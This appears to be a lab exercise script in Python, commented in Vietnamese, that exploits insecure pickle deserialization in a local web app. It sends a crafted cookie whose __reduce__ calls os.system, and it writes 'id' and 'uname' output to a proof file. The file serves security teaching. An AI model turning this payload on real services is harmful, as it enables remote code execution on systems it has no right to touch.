#!/usr/bin/env python3
# Exploit lab 8.2 - pickle insecure deserialization -> RCE
# Yeu cau app chay o 127.0.0.1:8065
#
# CANH BAO: pickle.loads tren du lieu khong tin duoc = RCE ngay lap tuc.
# __reduce__ cho phep chi dinh (callable, args) duoc goi khi unpickle.
import base64
import os
import pickle
import requests

BASE = "http://127.0.0.1:8065"
PROOF = "/tmp/lab82_proof.txt"  # file bang chung lenh da chay server-side


class RCE:
    def __reduce__(self):
        cmd = "id > %s 2>&1; echo '--- uname ---' >> %s; uname -a >> %s" % (PROOF, PROOF, PROOF)
        return (os.system, (cmd,))


def main():
    try:
        os.remove(PROOF)
    except OSError:
        pass

    print("=== [0] Luong binh thuong: lay cookie prefs mac dinh ===")
    s = requests.Session()
    r0 = s.get(BASE + "/")
    print("Set-Cookie:", r0.headers.get("Set-Cookie"))
    r1 = s.get(BASE + "/")
    print("Giai ma prefs mac dinh:", r1.text.strip())

    print()
    print("=== [1] Tao payload pickle doc hai (__reduce__ -> os.system) ===")
    payload = base64.b64encode(pickle.dumps(RCE())).decode()
    print("Payload base64:", payload)

    print()
    print("=== [2] Gui cookie prefs = payload -> server pickle.loads -> RCE ===")
    r2 = requests.get(BASE + "/", cookies={"prefs": payload})
    print("Server tra ve:", r2.text.strip(), "(0 = exit code cua os.system)")

    print()
    print("=== [3] Doc file bang chung %s (lenh da chay THAT) ===" % PROOF)
    with open(PROOF) as f:
        print(f.read().strip())

    print()
    print("=== DONE ===")


if __name__ == "__main__":
    main()
